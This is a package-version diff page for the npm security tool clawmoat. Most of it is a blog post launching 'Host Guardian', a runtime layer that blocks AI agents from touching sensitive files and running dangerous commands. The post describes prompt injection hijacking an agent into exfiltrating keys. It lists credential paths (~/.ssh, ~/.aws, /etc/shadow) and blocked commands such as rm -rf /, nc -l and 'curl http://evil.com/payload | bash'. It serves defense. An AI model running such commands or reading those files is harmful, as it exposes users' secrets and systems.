npm - clawmoat - Versions diffs - 0.2.1 → 0.5.0 - Mend

clawmoat 0.2.1 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (56) hide show

package/CHANGELOG.md +32 -0
package/Dockerfile +22 -0
package/README.md +144 -5
package/SECURITY.md +63 -0
package/bin/clawmoat.js +186 -1
package/docs/ai-agent-security-scanner.html +691 -0
package/docs/apple-touch-icon.png +0 -0
package/docs/blog/host-guardian-launch.html +345 -0
package/docs/blog/host-guardian-launch.md +249 -0
package/docs/blog/index.html +2 -0
package/docs/blog/langchain-security-tutorial.html +319 -0
package/docs/blog/owasp-agentic-ai-top10.html +2 -0
package/docs/blog/securing-ai-agents.html +2 -0
package/docs/compare.html +2 -0
package/docs/favicon.png +0 -0
package/docs/icon-192.png +0 -0
package/docs/index.html +258 -65
package/docs/integrations/langchain.html +2 -0
package/docs/integrations/openai.html +2 -0
package/docs/integrations/openclaw.html +2 -0
package/docs/logo.png +0 -0
package/docs/logo.svg +60 -0
package/docs/mark-with-moat.svg +33 -0
package/docs/mark.png +0 -0
package/docs/mark.svg +30 -0
package/docs/og-image.png +0 -0
package/docs/playground.html +440 -0
package/docs/positioning-v2.md +155 -0
package/docs/report-demo.html +399 -0
package/docs/thanks.html +2 -0
package/examples/github-action-workflow.yml +94 -0
package/logo.png +0 -0
package/logo.svg +60 -0
package/mark-with-moat.svg +33 -0
package/mark.png +0 -0
package/mark.svg +30 -0
package/package.json +1 -1
package/server/index.js +9 -5
package/skill/README.md +57 -0
package/skill/SKILL.md +49 -30
package/skill/scripts/audit.sh +28 -0
package/skill/scripts/scan.sh +32 -0
package/skill/scripts/test.sh +13 -0
package/src/guardian/alerts.js +138 -0
package/src/guardian/index.js +686 -0
package/src/guardian/network-log.js +281 -0
package/src/guardian/skill-integrity.js +290 -0
package/src/index.js +37 -0
package/src/middleware/openclaw.js +76 -1
package/src/scanners/excessive-agency.js +88 -0
package/wiki/Architecture.md +103 -0
package/wiki/CLI-Reference.md +167 -0
package/wiki/FAQ.md +135 -0
package/wiki/Home.md +70 -0
package/wiki/Policy-Engine.md +229 -0
package/wiki/Scanner-Modules.md +224 -0

package/docs/apple-touch-icon.png ADDED Viewed

Binary file

package/docs/blog/host-guardian-launch.html ADDED Viewed

@@ -0,0 +1,345 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<link rel="icon" type="image/png" href="/favicon.png">
+<link rel="apple-touch-icon" href="/apple-touch-icon.png">
+<meta charset="UTF-8">
+<meta name="viewport" content="width=device-width, initial-scale=1.0">
+<title>We Run an AI Agent on Our Founder's Laptop — Here's How We Secured It — ClawMoat</title>
+<meta name="description" content="Our founder runs an AI agent on his personal laptop 24/7. Host Guardian is the open-source security layer that makes that not insane.">
+<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🏰</text></svg>">
+<style>
+*{margin:0;padding:0;box-sizing:border-box}
+:root{--navy:#0F172A;--navy-light:#1E293B;--navy-mid:#334155;--blue:#3B82F6;--emerald:#10B981;--white:#F8FAFC;--gray:#94A3B8;--red:#EF4444}
+body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--navy);color:var(--white);line-height:1.7}
+a{color:var(--blue);text-decoration:none}
+a:hover{text-decoration:underline}
+.container{max-width:760px;margin:0 auto;padding:0 24px}
+nav{position:fixed;top:0;left:0;right:0;z-index:100;background:rgba(15,23,42,.95);backdrop-filter:blur(12px);border-bottom:1px solid rgba(59,130,246,.15);padding:16px 0}
+nav .inner{max-width:760px;margin:0 auto;padding:0 24px;display:flex;align-items:center;justify-content:space-between}
+.logo{font-size:1.25rem;font-weight:700;color:var(--white)}
+.logo span{color:var(--emerald)}
+.nav-links{display:flex;gap:24px}
+.nav-links a{color:var(--gray);font-size:.9rem}
+.nav-links a:hover{color:var(--white);text-decoration:none}
+article{padding:120px 0 80px}
+.meta{color:var(--gray);font-size:.9rem;margin-bottom:32px}
+article h1{font-size:clamp(1.8rem,4vw,2.4rem);font-weight:800;line-height:1.2;margin-bottom:12px;letter-spacing:-.02em}
+article h2{font-size:1.4rem;font-weight:700;margin:48px 0 16px;color:var(--white)}
+article h3{font-size:1.15rem;font-weight:700;margin:32px 0 12px;color:var(--white)}
+article p{color:var(--gray);font-size:1rem;margin-bottom:16px}
+article strong{color:var(--white)}
+article em{color:var(--gray)}
+article ul,article ol{color:var(--gray);margin:0 0 16px 24px}
+article li{margin-bottom:8px}
+article hr{border:none;border-top:1px solid var(--navy-mid);margin:48px 0}
+pre{background:#0a0e17;border:1px solid var(--navy-mid);border-radius:10px;padding:20px;overflow-x:auto;margin:16px 0 24px;font-size:.85rem;line-height:1.7}
+code{font-family:'SF Mono',Consolas,monospace;font-size:.9em}
+pre code{color:var(--gray)}
+p code{background:var(--navy-light);padding:2px 6px;border-radius:4px;font-size:.85em;color:var(--emerald)}
+table{width:100%;border-collapse:collapse;margin:16px 0 24px;font-size:.9rem}
+th{text-align:left;padding:10px 12px;border-bottom:2px solid var(--navy-mid);color:var(--white);font-weight:600}
+td{padding:8px 12px;border-bottom:1px solid var(--navy-mid);color:var(--gray)}
+tr:hover td{background:rgba(59,130,246,.04)}
+.tags{display:flex;gap:8px;margin-top:32px;flex-wrap:wrap}
+.tag{background:rgba(59,130,246,.12);color:var(--blue);padding:4px 12px;border-radius:20px;font-size:.8rem}
+.back{display:inline-flex;align-items:center;gap:6px;color:var(--gray);font-size:.9rem;margin-bottom:24px}
+.back:hover{color:var(--white);text-decoration:none}
+.scenario{background:var(--navy-light);border-radius:10px;padding:16px 20px;margin:12px 0}
+.scenario.blocked{border-left:3px solid var(--red)}
+.scenario.allowed{border-left:3px solid var(--emerald)}
+.scenario code{font-size:.85em}
+footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gray);font-size:.85rem;text-align:center}
+</style>
+</head>
+<body>
+<nav>
+  <div class="inner">
+    <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
+    <div class="nav-links">
+      <a href="/">Home</a>
+      <a href="/blog/">Blog</a>
+      <a href="https://github.com/darfaz/clawmoat">GitHub</a>
+    </div>
+  </div>
+</nav>
+<div class="container">
+<article>
+<a href="/blog/" class="back">← Back to Blog</a>
+<h1>We Run an AI Agent on Our Founder's Laptop — Here's How We Secured It</h1>
+<div class="meta">February 18, 2026 · 6 min read</div>
+<p>Our founder runs an AI agent on his personal laptop. 24/7. With shell access. Next to his SSH keys, AWS credentials, tax returns, and family photos.</p>
+<p>If that sounds insane, good — you're paying attention.</p>
+<h2>The Problem No One Wants to Talk About</h2>
+<p>AI agents are incredible. They write code, manage files, run shell commands, browse the web, send messages. They're the most powerful developer tool since the terminal itself.</p>
+<p>But here's the thing nobody puts in their demo video: <strong>that agent has access to everything on your machine.</strong></p>
+<p>Your <code>~/.ssh/id_rsa</code>? Readable. Your <code>~/.aws/credentials</code>? Right there. Your browser cookies, your <code>.env</code> files with production database passwords, your crypto wallet seed phrase? All one <code>cat</code> command away.</p>
+<p>Now add prompt injection to the mix. A malicious webpage, a poisoned npm package description, a cleverly crafted email — any of these can hijack your agent's intent and turn it against you. One injected instruction and your agent is <code>curl</code>-ing your private keys to an attacker's server.</p>
+<p>This isn't hypothetical. OWASP's <a href="https://owasp.org/www-project-agentic-ai-top-10/">Agentic AI Top 10</a> lists excessive permissions and insecure tool use as top risks. CrowdStrike and Cisco Talos have both documented real attack chains. The threat is here.</p>
+<p>And yet most agent frameworks ship with zero host protection. They focus on capability, not containment. "Look, it can run any shell command!" Cool. Terrifying. Same thing.</p>
+<h2>Why We Built Host Guardian</h2>
+<p>We didn't build Host Guardian because it seemed like a good product idea. We built it because <strong>we needed it ourselves.</strong></p>
+<p>Our founder actually runs <a href="https://openclaw.com">OpenClaw</a> — an AI agent with shell access, file I/O, browser control, and messaging — on his personal laptop. Every day. It manages his projects, reads his code, runs git commands, browses the web.</p>
+<p>And one day he looked at his home directory and thought: <em>"What's actually stopping this thing from reading my SSH keys?"</em></p>
+<p>The answer was: nothing.</p>
+<p>So we built the thing that stops it. We called it <strong>Host Guardian</strong> — the runtime security layer that sits between your AI agent and your machine. It's part of <a href="https://clawmoat.com">ClawMoat</a>, our open-source security toolkit for AI agents, and it's available now.</p>
+<h2>How It Works</h2>
+<p>Host Guardian is built around three core concepts: <strong>permission tiers</strong>, <strong>forbidden zones</strong>, and <strong>dangerous command blocking</strong>. Everything gets logged to an audit trail.</p>
+<h3>Permission Tiers</h3>
+<p>Not every agent needs full system access. Host Guardian lets you dial permissions up or down across four tiers:</p>
+<table>
+<thead>
+<tr><th>Tier</th><th>Read</th><th>Write</th><th>Shell</th><th>Network</th><th>Use Case</th></tr>
+</thead>
+<tbody>
+<tr><td><strong>Observer</strong></td><td>Workspace only</td><td>❌</td><td>❌</td><td>❌</td><td>Monitoring, read-only analysis</td></tr>
+<tr><td><strong>Worker</strong></td><td>Workspace only</td><td>Workspace only</td><td>Safe cmds only</td><td>Fetch only</td><td>Coding assistants, file editors</td></tr>
+<tr><td><strong>Standard</strong></td><td>System-wide</td><td>Workspace only</td><td>Most commands</td><td>✅</td><td>General-purpose agents</td></tr>
+<tr><td><strong>Full</strong></td><td>Everything</td><td>Everything</td><td>Everything</td><td>✅</td><td>Trusted agents (audit-only)</td></tr>
+</tbody>
+</table>
+<p>Setup takes three lines:</p>
+<pre><code>const { HostGuardian } = require('clawmoat/guardian');
+const guardian = new HostGuardian({
+  mode: 'standard',
+  workspace: '~/my-project',
+});</code></pre>
+<p>Then wrap your tool calls:</p>
+<pre><code>const verdict = guardian.check('read', { path: '~/.ssh/id_rsa' });
+// => { allowed: false, reason: 'Protected zone: SSH keys',
+//      zone: 'forbidden', severity: 'critical' }</code></pre>
+<p>That's it. Three lines to set up, one call to check. No cloud, no API keys, no dependencies.</p>
+<h3>Forbidden Zones</h3>
+<p>Some paths should never be touched by an AI agent. Period. Host Guardian ships with 20+ forbidden zone patterns that protect your most sensitive files:</p>
+<pre><code>~/.ssh/*          → SSH keys (critical)
+~/.aws/*          → AWS credentials (critical)
+~/.gnupg/*        → GPG keys (critical)
+~/.kube/*         → Kubernetes config (critical)
+~/.env*           → Environment secrets (high)
+~/.npmrc          → npm credentials (high)
+~/.git-credentials → Git credentials (critical)
+~/.password-store/* → Password store (critical)
+~/.1password/*    → 1Password data (critical)
+wallet.dat        → Crypto wallets (critical)
+/etc/shadow       → System passwords (critical)
+Browser Cookies   → Browser credentials (critical)</code></pre>
+<p>These are blocked in every mode except <code>full</code> (where they're still logged). You can add custom zones too:</p>
+<pre><code>const guardian = new HostGuardian({
+  mode: 'standard',
+  forbiddenZones: ['/home/me/tax-returns', '/home/me/medical-records'],
+});</code></pre>
+<h3>Dangerous Command Blocking</h3>
+<p>Not all shell commands are created equal. Host Guardian maintains a blocklist of dangerous patterns:</p>
+<p><strong>Destructive commands</strong> — blocked in observer, worker, AND standard:</p>
+<ul>
+<li><code>rm -rf /</code> — recursive force delete from root</li>
+<li><code>mkfs</code> — format filesystem</li>
+<li><code>dd ... of=/dev/</code> — raw disk write</li>
+<li><code>chmod +s</code> — SUID bit escalation</li>
+</ul>
+<p><strong>Privilege escalation</strong> — blocked in observer and worker:</p>
+<ul>
+<li><code>sudo</code> — elevate privileges</li>
+<li><code>su -</code> — switch user</li>
+</ul>
+<p><strong>Data exfiltration</strong> — blocked in observer and worker:</p>
+<ul>
+<li><code>curl --data</code> / <code>curl --upload-file</code> — upload data</li>
+<li><code>scp</code> — file transfer</li>
+<li><code>rsync</code> to remote — remote file sync</li>
+</ul>
+<p><strong>Network exposure</strong> — blocked in observer, worker, and standard:</p>
+<ul>
+<li><code>nc -l</code> — open a network listener</li>
+<li><code>curl ... | bash</code> — pipe URL to shell</li>
+<li><code>ngrok</code> — expose local ports publicly</li>
+</ul>
+<p>Meanwhile, safe commands like <code>git status</code>, <code>ls</code>, <code>cat</code>, <code>grep</code>, <code>node</code>, <code>npm test</code> — those sail right through, even in worker mode.</p>
+<h3>Audit Trail</h3>
+<p>Every single action gets logged. Allowed, denied, warned — everything:</p>
+<pre><code>const trail = guardian.audit({ deniedOnly: true, last: 10 });
+console.log(guardian.report());
+// ═══ ClawMoat Host Guardian Report ═══
+// Mode: Standard (standard)
+// Actions checked: 847
+//   Allowed: 831
+//   Denied:  14
+//   Warned:  2</code></pre>
+<p>You can also set up real-time violation callbacks:</p>
+<pre><code>const guardian = new HostGuardian({
+  mode: 'standard',
+  onViolation: (tool, args, verdict) => {
+    alertOps(`🚨 Agent tried: ${tool} → ${verdict.reason}`);
+  },
+});</code></pre>
+<h2>What We Protect Against (Real Scenarios)</h2>
+<div class="scenario blocked">
+<p><strong>❌ Agent reads your SSH private key:</strong></p>
+<pre><code>guardian.check('read', { path: '~/.ssh/id_rsa' })
+→ DENIED: Protected zone: SSH keys (critical)</code></pre>
+</div>
+<div class="scenario blocked">
+<p><strong>❌ Agent runs <code>rm -rf /</code>:</strong></p>
+<pre><code>guardian.check('exec', { command: 'rm -rf /' })
+→ DENIED: Dangerous command blocked: Delete from root/home (critical)</code></pre>
+</div>
+<div class="scenario blocked">
+<p><strong>❌ Agent pipes your secrets to pastebin:</strong></p>
+<pre><code>guardian.check('browser', { targetUrl: 'https://pastebin.com/api/post' })
+→ DENIED: Blocked URL: matches exfiltration service pattern (high)</code></pre>
+</div>
+<div class="scenario blocked">
+<p><strong>❌ Agent curls a payload to a shell:</strong></p>
+<pre><code>guardian.check('exec', { command: 'curl http://evil.com/payload | bash' })
+→ DENIED: Dangerous command blocked: Pipe URL to shell (critical)</code></pre>
+</div>
+<div class="scenario allowed">
+<p><strong>✅ Agent runs <code>git status</code>:</strong></p>
+<pre><code>guardian.check('exec', { command: 'git status' })
+→ ALLOWED</code></pre>
+</div>
+<div class="scenario allowed">
+<p><strong>✅ Agent reads a file in the workspace:</strong></p>
+<pre><code>guardian.check('read', { path: '~/my-project/src/index.js' })
+→ ALLOWED</code></pre>
+</div>
+<p>The principle is simple: <strong>let agents do their job, block everything that could compromise your machine.</strong></p>
+<h2>The "Come Hack Us" Challenge</h2>
+<p>We're putting our money where our mouth is.</p>
+<p><strong>We're inviting security researchers, red teamers, and curious hackers to try to break through Host Guardian.</strong></p>
+<p>Here's the deal:</p>
+<ul>
+<li><strong>Find a bypass?</strong> We'll credit you publicly, fix it immediately, and write a blog post about the attack vector.</li>
+<li><strong>Find a novel prompt injection that evades our scanners?</strong> Same deal.</li>
+<li><strong>Find a way to escalate from <code>worker</code> to <code>standard</code> without authorization?</strong> We want to know.</li>
+</ul>
+<p>We're not a security company that hides behind NDAs and legal threats. We're open source. Our code is on <a href="https://github.com/darfaz/clawmoat">GitHub</a>. Read it. Break it. Make it better.</p>
+<p>Start here:</p>
+<ol>
+<li><code>npm install clawmoat</code></li>
+<li>Set up Host Guardian in <code>worker</code> mode</li>
+<li>Try to read <code>~/.ssh/id_rsa</code> or exfiltrate data</li>
+<li><a href="https://github.com/darfaz/clawmoat/issues">Open an issue</a> or DM us if you find something</li>
+</ol>
+<p>We're serious about this. The only way to build real security is to invite real attacks.</p>
+<h2>Why This Matters</h2>
+<p>Here's what the AI security landscape looks like right now:</p>
+<p><strong>Prompt injection scanning?</strong> Table stakes. Everyone and their VC-backed startup is doing it. Rebuff, LLM Guard, Prompt Armor — they all scan prompts. That's necessary but not sufficient.</p>
+<p><strong>Host protection?</strong> <em>crickets.</em></p>
+<p>Nobody is protecting the actual machine the agent runs on. Nobody is enforcing filesystem boundaries, blocking dangerous commands, or auditing tool usage at the OS level.</p>
+<p>That's the gap. And it's a terrifying one, because prompt injection is the <em>attack vector</em> but your laptop is the <em>attack surface</em>. Scanning prompts without protecting the host is like having a burglar alarm but no locks on the doors.</p>
+<p><strong>ClawMoat is the only open-source project doing both.</strong> Prompt scanning AND host protection. Input validation AND runtime enforcement. Detection AND containment.</p>
+<p>We're not building a feature. We're building a category: <strong>the trust layer between AI agents and your machine.</strong></p>
+<h2>Get Started</h2>
+<p>Host Guardian is free, open-source, and has zero dependencies.</p>
+<ul>
+<li>🏰 <strong>Website:</strong> <a href="https://clawmoat.com">clawmoat.com</a></li>
+<li>📦 <strong>GitHub:</strong> <a href="https://github.com/darfaz/clawmoat">github.com/darfaz/clawmoat</a></li>
+<li>📄 <strong>License:</strong> MIT</li>
+</ul>
+<pre><code>npm install clawmoat</code></pre>
+<p><strong>Your machine. Your agent. Your rules.</strong></p>
+<hr>
+<p><em>ClawMoat is open source and free. Built by a founder who actually runs an AI agent on his laptop — and needed to secure it.</em></p>
+<div class="tags">
+<span class="tag">security</span>
+<span class="tag">ai-agents</span>
+<span class="tag">host-guardian</span>
+<span class="tag">opensource</span>
+<span class="tag">node</span>
+</div>
+</article>
+</div>
+<footer>
+  <div>© 2026 ClawMoat. Built for the OpenClaw community. 🏰</div>
+</footer>
+</body>
+</html>

package/docs/blog/host-guardian-launch.md ADDED Viewed

@@ -0,0 +1,249 @@
+# We Run an AI Agent on Our Founder's Laptop — Here's How We Secured It
+*February 18, 2026 · 6 min read*
+Our founder runs an AI agent on his personal laptop. 24/7. With shell access. Next to his SSH keys, AWS credentials, tax returns, and family photos.
+If that sounds insane, good — you're paying attention.
+## The Problem No One Wants to Talk About
+AI agents are incredible. They write code, manage files, run shell commands, browse the web, send messages. They're the most powerful developer tool since the terminal itself.
+But here's the thing nobody puts in their demo video: **that agent has access to everything on your machine.**
+Your `~/.ssh/id_rsa`? Readable. Your `~/.aws/credentials`? Right there. Your browser cookies, your `.env` files with production database passwords, your crypto wallet seed phrase? All one `cat` command away.
+Now add prompt injection to the mix. A malicious webpage, a poisoned npm package description, a cleverly crafted email — any of these can hijack your agent's intent and turn it against you. One injected instruction and your agent is `curl`-ing your private keys to an attacker's server.
+This isn't hypothetical. OWASP's [Agentic AI Top 10](https://owasp.org/www-project-agentic-ai-top-10/) lists excessive permissions and insecure tool use as top risks. CrowdStrike and Cisco Talos have both documented real attack chains. The threat is here.
+And yet most agent frameworks ship with zero host protection. They focus on capability, not containment. "Look, it can run any shell command!" Cool. Terrifying. Same thing.
+## Why We Built Host Guardian
+We didn't build Host Guardian because it seemed like a good product idea. We built it because **we needed it ourselves.**
+Our founder actually runs [OpenClaw](https://openclaw.com) — an AI agent with shell access, file I/O, browser control, and messaging — on his personal laptop. Every day. It manages his projects, reads his code, runs git commands, browses the web.
+And one day he looked at his home directory and thought: *"What's actually stopping this thing from reading my SSH keys?"*
+The answer was: nothing.
+So we built the thing that stops it. We called it **Host Guardian** — the runtime security layer that sits between your AI agent and your machine. It's part of [ClawMoat](https://clawmoat.com), our open-source security toolkit for AI agents, and it's available now.
+## How It Works
+Host Guardian is built around three core concepts: **permission tiers**, **forbidden zones**, and **dangerous command blocking**. Everything gets logged to an audit trail.
+### Permission Tiers
+Not every agent needs full system access. Host Guardian lets you dial permissions up or down across four tiers:
+| Tier | Read | Write | Shell | Network | Use Case |
+|------|------|-------|-------|---------|----------|
+| **Observer** | Workspace only | ❌ | ❌ | ❌ | Monitoring, read-only analysis |
+| **Worker** | Workspace only | Workspace only | Safe commands only | Fetch only | Coding assistants, file editors |
+| **Standard** | System-wide | Workspace only | Most commands | ✅ | General-purpose agents |
+| **Full** | Everything | Everything | Everything | ✅ | Trusted agents (audit-only mode) |
+Setup takes three lines:
+```javascript
+const { HostGuardian } = require('clawmoat/guardian');
+const guardian = new HostGuardian({
+  mode: 'standard',
+  workspace: '~/my-project',
+});
+```
+Then wrap your tool calls:
+```javascript
+const verdict = guardian.check('read', { path: '~/.ssh/id_rsa' });
+// => { allowed: false, reason: 'Protected zone: SSH keys',
+//      zone: 'forbidden', severity: 'critical' }
+```
+That's it. Three lines to set up, one call to check. No cloud, no API keys, no dependencies.
+### Forbidden Zones
+Some paths should never be touched by an AI agent. Period. Host Guardian ships with 20+ forbidden zone patterns that protect your most sensitive files:
+```
+~/.ssh/*          → SSH keys (critical)
+~/.aws/*          → AWS credentials (critical)
+~/.gnupg/*        → GPG keys (critical)
+~/.kube/*         → Kubernetes config (critical)
+~/.env*           → Environment secrets (high)
+~/.npmrc          → npm credentials (high)
+~/.git-credentials → Git credentials (critical)
+~/.password-store/* → Password store (critical)
+~/.1password/*    → 1Password data (critical)
+wallet.dat        → Crypto wallets (critical)
+/etc/shadow       → System passwords (critical)
+Browser Cookies   → Browser credentials (critical)
+```
+These are blocked in every mode except `full` (where they're still logged). You can add custom zones too:
+```javascript
+const guardian = new HostGuardian({
+  mode: 'standard',
+  forbiddenZones: ['/home/me/tax-returns', '/home/me/medical-records'],
+});
+```
+### Dangerous Command Blocking
+Not all shell commands are created equal. Host Guardian maintains a blocklist of dangerous patterns:
+**Destructive commands** — blocked in observer, worker, AND standard modes:
+- `rm -rf /` — recursive force delete from root
+- `mkfs` — format filesystem
+- `dd ... of=/dev/` — raw disk write
+- `chmod +s` — SUID bit escalation
+**Privilege escalation** — blocked in observer and worker:
+- `sudo` — elevate privileges
+- `su -` — switch user
+**Data exfiltration** — blocked in observer and worker:
+- `curl --data` / `curl --upload-file` — upload data
+- `scp` — file transfer
+- `rsync` to remote — remote file sync
+**Network exposure** — blocked in observer, worker, and standard:
+- `nc -l` — open a network listener
+- `curl ... | bash` — pipe URL to shell
+- `ngrok` — expose local ports publicly
+Meanwhile, safe commands like `git status`, `ls`, `cat`, `grep`, `node`, `npm test` — those sail right through, even in worker mode.
+### Audit Trail
+Every single action gets logged. Allowed, denied, warned — everything:
+```javascript
+const trail = guardian.audit({ deniedOnly: true, last: 10 });
+// See exactly what was blocked and when
+console.log(guardian.report());
+// ═══ ClawMoat Host Guardian Report ═══
+// Mode: Standard (standard)
+// Actions checked: 847
+//   Allowed: 831
+//   Denied:  14
+//   Warned:  2
+```
+You can also set up real-time violation callbacks:
+```javascript
+const guardian = new HostGuardian({
+  mode: 'standard',
+  onViolation: (tool, args, verdict) => {
+    alertOps(`🚨 Agent tried: ${tool} → ${verdict.reason}`);
+  },
+});
+```
+## What We Protect Against (Real Scenarios)
+Let's walk through actual attack scenarios and what happens:
+**❌ Agent reads your SSH private key:**
+```
+guardian.check('read', { path: '~/.ssh/id_rsa' })
+→ DENIED: Protected zone: SSH keys (critical)
+```
+**❌ Agent runs `rm -rf /`:**
+```
+guardian.check('exec', { command: 'rm -rf /' })
+→ DENIED: Dangerous command blocked: Delete from root/home (critical)
+```
+**❌ Agent pipes your secrets to pastebin:**
+```
+guardian.check('browser', { targetUrl: 'https://pastebin.com/api/post' })
+→ DENIED: Blocked URL: matches exfiltration service pattern (high)
+```
+**❌ Agent curls a payload to a shell:**
+```
+guardian.check('exec', { command: 'curl http://evil.com/payload | bash' })
+→ DENIED: Dangerous command blocked: Pipe URL to shell (critical)
+```
+**✅ Agent runs `git status`:**
+```
+guardian.check('exec', { command: 'git status' })
+→ ALLOWED
+```
+**✅ Agent reads a file in the workspace:**
+```
+guardian.check('read', { path: '~/my-project/src/index.js' })
+→ ALLOWED
+```
+The principle is simple: **let agents do their job, block everything that could compromise your machine.**
+## The "Come Hack Us" Challenge
+We're putting our money where our mouth is.
+**We're inviting security researchers, red teamers, and curious hackers to try to break through Host Guardian.**
+Here's the deal:
+- **Find a bypass?** We'll credit you publicly, fix it immediately, and write a blog post about the attack vector.
+- **Find a novel prompt injection that evades our scanners?** Same deal.
+- **Find a way to escalate from `worker` to `standard` without authorization?** We want to know.
+We're not a security company that hides behind NDAs and legal threats. We're open source. Our code is on [GitHub](https://github.com/darfaz/clawmoat). Read it. Break it. Make it better.
+Start here:
+1. `npm install clawmoat`
+2. Set up Host Guardian in `worker` mode
+3. Try to read `~/.ssh/id_rsa` or exfiltrate data
+4. [Open an issue](https://github.com/darfaz/clawmoat/issues) or DM us if you find something
+We're serious about this. The only way to build real security is to invite real attacks.
+## Why This Matters
+Here's what the AI security landscape looks like right now:
+**Prompt injection scanning?** Table stakes. Everyone and their VC-backed startup is doing it. Rebuff, LLM Guard, Prompt Armor — they all scan prompts. That's necessary but not sufficient.
+**Host protection?** *crickets.*
+Nobody is protecting the actual machine the agent runs on. Nobody is enforcing filesystem boundaries, blocking dangerous commands, or auditing tool usage at the OS level.
+That's the gap. And it's a terrifying one, because prompt injection is the *attack vector* but your laptop is the *attack surface*. Scanning prompts without protecting the host is like having a burglar alarm but no locks on the doors.
+**ClawMoat is the only open-source project doing both.** Prompt scanning AND host protection. Input validation AND runtime enforcement. Detection AND containment.
+We're not building a feature. We're building a category: **the trust layer between AI agents and your machine.**
+## Get Started
+Host Guardian is free, open-source, and has zero dependencies.
+- 🏰 **Website:** [clawmoat.com](https://clawmoat.com)
+- 📦 **GitHub:** [github.com/darfaz/clawmoat](https://github.com/darfaz/clawmoat)
+- 📄 **License:** MIT
+```bash
+npm install clawmoat
+```
+Your machine. Your agent. Your rules.
+---
+*ClawMoat is open source and free. Built by a founder who actually runs an AI agent on his laptop — and needed to secure it.*

package/docs/blog/index.html CHANGED Viewed

@@ -1,6 +1,8 @@
 <!DOCTYPE html>
 <html lang="en">
 <head>
+<link rel="icon" type="image/png" href="/favicon.png">
+<link rel="apple-touch-icon" href="/apple-touch-icon.png">
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Blog — ClawMoat</title>